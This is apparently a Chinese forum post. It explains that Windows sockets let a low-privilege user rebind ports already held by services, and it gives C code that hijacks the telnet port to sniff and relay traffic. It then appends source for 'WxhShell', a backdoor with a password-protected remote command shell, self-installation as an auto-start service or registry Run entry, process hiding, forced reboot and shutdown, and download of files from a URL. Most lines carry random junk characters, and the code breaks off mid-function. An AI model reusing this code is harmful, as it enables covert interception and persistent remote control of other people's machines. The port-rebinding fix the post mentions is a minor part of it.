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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1I ""X]I_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JnY$fs*"  
FQ`(b3.   
  saddr.sin_family = AF_INET; }`9jH:q-Z  
?ty>}.c t  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >z(wf>2J  
'r\ 4}Ik  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %,0%NjK  
OVZP x%a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K*1.'9/  
6ZcXS  
  这意味着什么?意味着可以进行如下的攻击: oe9lF*$/  
&:<, c12  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1RLym9JN  
`{[RjM`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) UbO4%YHt  
5Tedo~v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vwmBUix  
!scD|ti  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |#k@U6`SG  
}Al YNEY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 onwjn+"&  
l-<`m#/v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Sm)u9  
V7EQ4Om:It  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5X#E@3g5  
+y/55VLq  
  #include h$`#YNd'  
  #include nBkh:5E5%  
  #include QOH<]~3J  
  #include    Ke!'gohv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X3',vey  
  int main() 7b,(\Fm  
  { H]&gW/=  
  WORD wVersionRequested; Or8kp/d  
  DWORD ret; E$A3|rjnoN  
  WSADATA wsaData; ~Wei|,w'<  
  BOOL val; /`3 #4=5-  
  SOCKADDR_IN saddr; .1#kD M  
  SOCKADDR_IN scaddr; iG#}`  
  int err; kJT+  
  SOCKET s; i7w(S3a  
  SOCKET sc; H}/05e  
  int caddsize; Wpr ,j N8b  
  HANDLE mt; rOcg+5  
  DWORD tid;   Y]Vq\]m\  
  wVersionRequested = MAKEWORD( 2, 2 ); BRzfic :e  
  err = WSAStartup( wVersionRequested, &wsaData ); 0J9D"3T)  
  if ( err != 0 ) { "j^MB)YD  
  printf("error!WSAStartup failed!\n"); 2%]Z Kd  
  return -1; vcv CD7MD  
  } BhkoSkr  
  saddr.sin_family = AF_INET; q9]IIv  
   /&^W#U$4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V kjuyK  
d|lpec  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u-3:k  
  saddr.sin_port = htons(23); 5Sva}9H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g<wRN#B  
  { n<7u>;SJQ  
  printf("error!socket failed!\n"); nS9wb1Zl  
  return -1; sILSey5`  
  } ]{GDS! )  
  val = TRUE; ,[e\cnq[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @1:0h9%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Z6Fp\aI8@  
  { !q' 4D!I  
  printf("error!setsockopt failed!\n"); V 1/p_)A  
  return -1; D +RiM~LH8  
  } xr%#dVk  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h&;t.Gdf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nB5zNyY4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S6g<M5^R  
 }ptq )p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b~w=v_[(I  
  { te,[f  
  ret=GetLastError(); }D;WN@],  
  printf("error!bind failed!\n"); (V?:]  
  return -1; _zMgoc7  
  } 2VGg 6%  
  listen(s,2); U*)m' ,  
  while(1) oD.r `]k  
  { _S`o1^Ad  
  caddsize = sizeof(scaddr); CU)|-*uiK  
  //接受连接请求 2=iH$v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C\*4q8(  
  if(sc!=INVALID_SOCKET) VIJ<``9[  
  { 8gy_Yj&{P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wW>fVP r  
  if(mt==NULL) @~ETj26U'  
  { 2%u;$pj  
  printf("Thread Creat Failed!\n"); V[nQQxWp=  
  break; T~4N+fK  
  } Qk1xUE  
  } OLC{iD#  
  CloseHandle(mt); &ldBv_  
  } 8|%^3O 0X  
  closesocket(s); ,|kDsR !  
  WSACleanup(); 6 #@ f'~s  
  return 0; om h{0jA0  
  }   7U|mu~$.!  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0#cy=*E  
  { ,yd=e}lQx  
  SOCKET ss = (SOCKET)lpParam; / JkC+7H4  
  SOCKET sc; qIMA6u/  
  unsigned char buf[4096]; %9oYw9 H!  
  SOCKADDR_IN saddr; O1'm@ q)  
  long num; RQB 4s^t  
  DWORD val; 36.N>G,  
  DWORD ret; "vZ!vt#'Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Qnd5X`jF#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   TuDE@ gq(  
  saddr.sin_family = AF_INET; D BE4&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^Yj xeNY  
  saddr.sin_port = htons(23); $%R$ G`.KM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &<RpWAk{  
  { 67SV~L#%O  
  printf("error!socket failed!\n"); 26vp1  
  return -1; {gbn/{  
  } j _L@U2i  
  val = 100; wV\gj~U;P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T"7~AbgNU  
  { \*f;Xaa  
  ret = GetLastError(); a ^d8I  
  return -1;  Q6'x\  
  } YH&bD16c3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9o*,P,j'}  
  { 6(d}W2GP  
  ret = GetLastError(); Rp7ntI:  
  return -1; rE9I>|tX  
  } G6@M&u5RT  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \^7C0R-hX  
  { G)v #+4  
  printf("error!socket connect failed!\n"); L@`ouQ"sa  
  closesocket(sc); ~w8JH2O  
  closesocket(ss); sm[94,26  
  return -1; ';Zi@f"  
  } ~vlype3/EF  
  while(1) ?;/^Ya1;Z  
  { $Iv2j">3)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W"^wnGa@a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 a<}#HfC;'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]0hrRA`  
  num = recv(ss,buf,4096,0); Mj[f~  
  if(num>0) JR CrZW}  
  send(sc,buf,num,0); ./Q,  
  else if(num==0) %NL^WG:  
  break; N_:qRpp6i  
  num = recv(sc,buf,4096,0); _=CZR7:O  
  if(num>0) !aO` AC=5u  
  send(ss,buf,num,0); [(1c<b2r  
  else if(num==0) 9z)5Mdf1j  
  break; w?kJ+lmOQy  
  } U!U$x74D5  
  closesocket(ss); sBrI}[oyx  
  closesocket(sc); ?T+q/lt4  
  return 0 ; ZaNQpH.  
  } 4jD2FFG- G  
{43>m)8+  
a:QDBS2Llv  
========================================================== Uf}\p~;  
M%jPH  
下边附上一个代码,,WXhSHELL Y"A/^]  
]Oq[gBL"A  
========================================================== orOt>5}b<  
#9K-7je;j  
#include "stdafx.h" ME'|saP  
3Zi@A4Wu  
#include <stdio.h> k'0Pi6  
#include <string.h> -B86U6^s  
#include <windows.h> ^%O]P`$  
#include <winsock2.h> V5*OA??k<  
#include <winsvc.h> \=_{na_  
#include <urlmon.h> B&D}F=U  
_h}kp\sps  
#pragma comment (lib, "Ws2_32.lib") `ZC<W]WYX/  
#pragma comment (lib, "urlmon.lib") y!!2WHvE  
c("_bOAT  
#define MAX_USER   100 // 最大客户端连接数 S)D nPjN{  
#define BUF_SOCK   200 // sock buffer U8 nH;}i  
#define KEY_BUFF   255 // 输入 buffer +TXX$)3%  
"etPT@gF  
#define REBOOT     0   // 重启 j~*L~7  
#define SHUTDOWN   1   // 关机 W.kM7z>G  
/ X1 x  
#define DEF_PORT   5000 // 监听端口 _a1x\,R|DB  
N<~ku<nAU  
#define REG_LEN     16   // 注册表键长度 O{ #=d  
#define SVC_LEN     80   // NT服务名长度 6? w0  
+SwR+H)?  
// 从dll定义API l+V>]?j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~6p[El#tS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,G)r=$XU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T#>7ub  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o"*AtGR+"  
812$`5l  
// wxhshell配置信息 =ZqT3_  
struct WSCFG { G;YrF)\  
  int ws_port;         // 监听端口 ti#7(^j  
  char ws_passstr[REG_LEN]; // 口令 8YbE`32  
  int ws_autoins;       // 安装标记, 1=yes 0=no AvW:<}a,  
  char ws_regname[REG_LEN]; // 注册表键名 c"[cNZo  
  char ws_svcname[REG_LEN]; // 服务名 :Y[LN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z*-2.}&U<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A{A\RSZ0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <_7*67{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P'_H/r/#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0\eIQp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AJ=qna  
?"g!  
}; +llR204  
!jTcsN%  
// default Wxhshell configuration S_Wrw z  
struct WSCFG wscfg={DEF_PORT, ^0 -:G6H  
    "xuhuanlingzhe", :5{wf Am  
    1, 9E6_]8rl  
    "Wxhshell", `E>1>'  
    "Wxhshell", Ig f&l`\  
            "WxhShell Service", RN e^; B  
    "Wrsky Windows CmdShell Service", 76`8=!]R  
    "Please Input Your Password: ", }9FSO9*&}  
  1, 3U0`,c\ao*  
  "http://www.wrsky.com/wxhshell.exe", BBev<  
  "Wxhshell.exe" T \_ ]^]>  
    }; -[wGX}}  
aJ>65RJ^=  
// 消息定义模块 lz?$f4TzA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \RG8{G,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; | AozR ~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N(Tz%o4  
char *msg_ws_ext="\n\rExit."; @"^0%/2-  
char *msg_ws_end="\n\rQuit."; WHj'dodS  
char *msg_ws_boot="\n\rReboot..."; tIuCct-  
char *msg_ws_poff="\n\rShutdown..."; 9J2NH|]c  
char *msg_ws_down="\n\rSave to "; W>j!Q^?  
B&n<M]7  
char *msg_ws_err="\n\rErr!"; ]jo1{IcI  
char *msg_ws_ok="\n\rOK!"; !*7 vFl  
)84~ugs  
char ExeFile[MAX_PATH]; TIQkW,  
int nUser = 0; I+tb[*X+  
HANDLE handles[MAX_USER]; tg<EY!WY  
int OsIsNt; vbyH<LPz5  
lIW }EM  
SERVICE_STATUS       serviceStatus; xwq+j "  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =ACVE;L?  
q!|*oUW  
// 函数声明 $}!p+$  
int Install(void); ?j"KV_  
int Uninstall(void); ?B2] -+Y  
int DownloadFile(char *sURL, SOCKET wsh); E2Q[ZoVS  
int Boot(int flag); !1$])VQWI  
void HideProc(void); ~Vr.J}]J  
int GetOsVer(void); )p<ExMIxd  
int Wxhshell(SOCKET wsl); gaZu;t2u  
void TalkWithClient(void *cs); -;^j:L{   
int CmdShell(SOCKET sock); n $$SNWgM  
int StartFromService(void); tp63@L|Q  
int StartWxhshell(LPSTR lpCmdLine); d?A 0MKnl  
YoBDvV":@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *%%g{ 3$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VHIOwzC  
w5Y04J  
// 数据结构和表定义 7/I,HxXp!  
SERVICE_TABLE_ENTRY DispatchTable[] = 3h$6t7=C  
{ .\)U@L~  
{wscfg.ws_svcname, NTServiceMain}, &m-PC(W+  
{NULL, NULL} [OC5l>  
}; E2R&[Q"%  
X\{LnZ@r4  
// 自我安装 < t,zaIi  
int Install(void) /`wvxKX  
{ PHZ0P7  
  char svExeFile[MAX_PATH]; t gI{`jS%  
  HKEY key; TFlet"ge=  
  strcpy(svExeFile,ExeFile); #h` V>;  
wl#@lOv-P  
// 如果是win9x系统,修改注册表设为自启动 0jy2H2  
if(!OsIsNt) { >0ow7Uw;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VY |_d k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t*Sa@$p  
  RegCloseKey(key); 3G}x;Cp\D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1g8_Xe4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *U&0<{|T  
  RegCloseKey(key); :~Wrf8 UQ  
  return 0; $4h5rC g0  
    } ;f#v0W`5  
  } PQ5QA61  
} _m5uDF?[  
else { _Kl_61k  
Enum/O5  
// 如果是NT以上系统,安装为系统服务 %4et&zRC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZX9TYN  
if (schSCManager!=0) J;.wXS_U8  
{ < $J>9k  
  SC_HANDLE schService = CreateService 49GkPy#]L=  
  ( {.C!i{|  
  schSCManager, JTSlWq4  
  wscfg.ws_svcname, ,|y:" s  
  wscfg.ws_svcdisp, ;z}i-cNae  
  SERVICE_ALL_ACCESS, B +\3-q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o<BOYrS  
  SERVICE_AUTO_START, ?!A7rb/tj  
  SERVICE_ERROR_NORMAL, 5m\<U`  
  svExeFile, 8']M^|1  
  NULL,  M+||rct  
  NULL, a, k'Vk{  
  NULL, 6Ypc`  
  NULL, 2@'oe7E  
  NULL TC!Yb_H}gN  
  ); U>=Z- T  
  if (schService!=0) FGigbtj`  
  { WA)yfo0A  
  CloseServiceHandle(schService); l?Udn0F  
  CloseServiceHandle(schSCManager); vK|E>nL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8@i7pBl@  
  strcat(svExeFile,wscfg.ws_svcname); xjfV?B'Y}V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Qu?R8+"KS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %7zuQ \w  
  RegCloseKey(key); _}lZ,L(w  
  return 0; qE&v ;  
    } YVQN&|-  
  } BLfTsNzmt  
  CloseServiceHandle(schSCManager); *scVJ  
} JD)(oK%C  
} <*16(!k0  
"c3Grfoz  
return 1; ]R h#g5X  
} |=Eo?Q_  
i UCXAWP  
// 自我卸载 D!{Y$;  
int Uninstall(void) Xe6w|  
{ ~ {E'@MU  
  HKEY key; 1O/+8yw  
R;s?$;I  
if(!OsIsNt) { &]"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ")O%86_Q:  
  RegDeleteValue(key,wscfg.ws_regname); 7X0Lq}G@  
  RegCloseKey(key); %HGD;_bhI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U 9_9l7&r  
  RegDeleteValue(key,wscfg.ws_regname); (D#B_`;-  
  RegCloseKey(key); fkuLj%R  
  return 0; ii[F]sR\  
  } 3h;{!|-3  
} Y2a5bc P  
} h1B? 8pD  
else { qaiNz S@q  
E27vR 7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |L%Z,:yO  
if (schSCManager!=0) aoMqSwF=  
{ /Y9>8XSc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S^-DK~Xt4  
  if (schService!=0) 0Vlk;fIh  
  { Lm*e5JnV  
  if(DeleteService(schService)!=0) { aZ2!i  
  CloseServiceHandle(schService); ]NUl9t*N4  
  CloseServiceHandle(schSCManager); JlH&??  
  return 0; {G U&a  
  } .>= (' -  
  CloseServiceHandle(schService); <e Th  
  } 7&t-pv92*  
  CloseServiceHandle(schSCManager); <'qeXgi  
} !nqUBa  
} 1C< uz29  
u[@l~gwL  
return 1; Eo{"9j\  
} 3.|S  
.<jr0,i  
// 从指定url下载文件 YPU*@l>  
int DownloadFile(char *sURL, SOCKET wsh) 5:pM 4J  
{ *@Lp`thq  
  HRESULT hr; p`b"-[93  
char seps[]= "/"; 61SlVec*o8  
char *token; o|>'h$  
char *file; Sh/T,  
char myURL[MAX_PATH]; cc,^6[OH@  
char myFILE[MAX_PATH]; f[@77m*  
XG}C+;4Aw  
strcpy(myURL,sURL);  z_F-T=_  
  token=strtok(myURL,seps); kDEPs$^  
  while(token!=NULL) 5Sm}n H  
  {  a][f  
    file=token; G9Y#kBr  
  token=strtok(NULL,seps); .X@FXx&  
  }  'C`U"I  
_7H7 dV  
GetCurrentDirectory(MAX_PATH,myFILE); !k 6K?xt  
strcat(myFILE, "\\"); DnC{YK  
strcat(myFILE, file); E)TN,@%  
  send(wsh,myFILE,strlen(myFILE),0); iIMd!Q.)@  
send(wsh,"...",3,0); ~D<IB#C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D&od?3}E  
  if(hr==S_OK) "U e. @>  
return 0; K~AR*1??[  
else '10oK {m$  
return 1; (zgW%{V@  
fmQ_P.c  
} \#f <!R4  
f-bVKHt  
// 系统电源模块 /I1h2 E  
int Boot(int flag) 0rOfrTNOz%  
{ )k\H@Dy%$  
  HANDLE hToken; gbI^2=YT'  
  TOKEN_PRIVILEGES tkp; XlV0*}S  
U7K,AflK?M  
  if(OsIsNt) { m+b):  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?%O(mC]u&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); syWG'( >  
    tkp.PrivilegeCount = 1; O #F   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q9~*<I> h;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =:&ly'QB&  
if(flag==REBOOT) { GNgKo]u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W ?qmp|YD  
  return 0; 4.Q} 1%ZN  
} a2dnbfSWa[  
else { )[PtaPWeT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v>$'iT~l  
  return 0; +aJ>rR  
} x.f]1S7h[  
  } fI{ESXU  
  else { tasIDoo+!J  
if(flag==REBOOT) { K@sV\"U(*E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,24p%KJ*X  
  return 0; }@;ep&b*  
} ix([mQg  
else { q#T/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 01}C^iD  
  return 0; gG]Eeu+z   
} H| 8Qp*  
} >d,jKlh^.%  
Z1 Bp+a3  
return 1; 6A>dhU  
} U* i{5/$  
b:Wm8pp?  
// win9x进程隐藏模块 xCg52zkH#  
void HideProc(void) B.dH(um  
{ .ni_p 6!  
4(|cG7>9-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ba[1wFmcL  
  if ( hKernel != NULL ) 5 MN8D COF  
  { +?:7O=Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z`!XhU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JBi*P.79^  
    FreeLibrary(hKernel); V#XppYU  
  } ,{BaePMp  
b\3Oyp>  
return; ?98("T|y;  
} ~rDZ?~%  
AfX}y+Ah  
// 获取操作系统版本 ,u+PyG7 cb  
int GetOsVer(void) Bk*F_>X"  
{ xD5:RE~g  
  OSVERSIONINFO winfo; j/fzzI0@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f|B=_p80  
  GetVersionEx(&winfo); V8rx#H~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LS7, a|  
  return 1; n\xX},  
  else y0#u9t"Z;  
  return 0; =T(6#"  
} N>XS=2tzN  
$}) g?Q  
// 客户端句柄模块 r[BVvX/,F  
int Wxhshell(SOCKET wsl) *1v[kWa?  
{ q=%RDG+  
  SOCKET wsh; ^lA=* jY(  
  struct sockaddr_in client; [P&7i57  
  DWORD myID; qAn!RkA  
pi Z[Y 5OE  
  while(nUser<MAX_USER) MCS8y+QK  
{ ;D:9+E<>a  
  int nSize=sizeof(client); 7* yzEM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *~t6(v?  
  if(wsh==INVALID_SOCKET) return 1; v.pBX<  
tn Pv70m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j6Yy6X]  
if(handles[nUser]==0) K POa|$  
  closesocket(wsh); yf[~Yl>Ogw  
else -=~| ."O  
  nUser++; ~$)2s7 O  
  } Pb1*\+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VFRi1\G  
"JlpU-8[0@  
  return 0; sE:M@`2L  
} ujlY! -GM  
g/P+ZXJ  
// 关闭 socket -(  
void CloseIt(SOCKET wsh) \.-}adKg  
{ -I&m:A$4*  
closesocket(wsh); )%`^xR  
nUser--; fA+ ,TEB~d  
ExitThread(0); k@/sn (x  
} fh](K'P#^  
p-Kz-+A[  
// 客户端请求句柄 CIb2J)qev  
void TalkWithClient(void *cs) ti I.W  
{ M luVx'  
:cF[(i/k4  
  SOCKET wsh=(SOCKET)cs; /atW8 `&  
  char pwd[SVC_LEN]; R)QC)U  
  char cmd[KEY_BUFF]; /ro=?QYb  
char chr[1]; m9.{[K"  
int i,j; n ~shK<!C  
-'t)=YJ  
  while (nUser < MAX_USER) { "Y~:|?(@-  
>'&p>Ad)  
if(wscfg.ws_passstr) { cc~O&?)i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n=y[CKS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  %-c*C$  
  //ZeroMemory(pwd,KEY_BUFF); hw= Ft4L  
      i=0; 3HcQ(+Z  
  while(i<SVC_LEN) { b:tob0TB  
Zc W:6po>  
  // 设置超时 j2QmxTa!  
  fd_set FdRead; 3E!|<q$ z  
  struct timeval TimeOut; 1Cv-  
  FD_ZERO(&FdRead); ?u" 4@  
  FD_SET(wsh,&FdRead); mF,Y?ax  
  TimeOut.tv_sec=8; K`u(/kz/<  
  TimeOut.tv_usec=0; `HZ;NRr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |}(`kW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FaDjLo2'o  
|wH5sjT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,*7 (%k^`  
  pwd=chr[0]; :lf+W  
  if(chr[0]==0xd || chr[0]==0xa) { rA%usaW  
  pwd=0; `$W_R[  
  break; $Zug Bh[b  
  } Cjc6d4~  
  i++; r76J N  
    } $W!!wN=B  
kBD>-5Sn_T  
  // 如果是非法用户,关闭 socket {>DE sO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y]/% t{Y  
} , udTvI  
}bdmomV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lT&eJO~?5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uRZZxZ  
_kU:Z  
while(1) { }\\KYyjY  
_'{_gei_P  
  ZeroMemory(cmd,KEY_BUFF); amOnqH-(  
:,'wVS8"]  
      // 自动支持客户端 telnet标准   BG6B :  
  j=0; OY;*zk  
  while(j<KEY_BUFF) { Gd-'Z_b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <<+\X:,  
  cmd[j]=chr[0]; @mw5~+  
  if(chr[0]==0xa || chr[0]==0xd) { k <=//r  
  cmd[j]=0; ca7=V/i_a{  
  break; ;7?kl>5]  
  } wt!nMQ  
  j++; /s@oZ{h  
    } VyzS^AH K  
e4HA7=z  
  // 下载文件 =5/9%P8j9  
  if(strstr(cmd,"http://")) { 8<8:+M}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pTPi@SBaP{  
  if(DownloadFile(cmd,wsh)) lI*o@wQg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !F A]  
  else x:),P-~w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m[~V/N3  
  } Xejo_SV&?  
  else { jL%x7?*U0  
8Kg n"M3  
    switch(cmd[0]) { j|U#)v/  
  8ZM&(Lz7u  
  // 帮助 rH_\ d?b  
  case '?': { nqI@Y)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eg(6^:z?f  
    break; FbS|~Rp~  
  } gW>uR3Ca4  
  // 安装 @k,z:~[C=  
  case 'i': { =t9\^RIx)?  
    if(Install()) j27?w<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V@zg}C|e  
    else i BF|&h(\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %?}33yV  
    break; i~I%D%;  
    } 2NC.Z;  
  // 卸载 bCo7*<I4  
  case 'r': { fZ0M%f  
    if(Uninstall()) w80oXXs[#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,l !Ta "  
    else _FH`pv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Je[c,&j$?  
    break; tnH2sHby  
    } $*e2YQdLo  
  // 显示 wxhshell 所在路径 B* ?]H*K  
  case 'p': { /|tJ6T1LrB  
    char svExeFile[MAX_PATH]; AK'[c+2[  
    strcpy(svExeFile,"\n\r"); Fq |Ni$  
      strcat(svExeFile,ExeFile); z\K"Rg~J  
        send(wsh,svExeFile,strlen(svExeFile),0); yE:+Lo`>  
    break; ;j[>9g  
    } lR )67a  
  // 重启  .E`\MtA  
  case 'b': { |bTPtrT8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G`cHCP_n  
    if(Boot(REBOOT)) ZA0mz 65  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vHyC;4'  
    else { zHA!%>%'  
    closesocket(wsh); R3x3]]D  
    ExitThread(0); qTdheX/  
    } TE3lK(f  
    break; K^1oDP  
    } 5gYRwuf  
  // 关机 &e E=<x  
  case 'd': { 0z1ifg&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U' H$`$Ov  
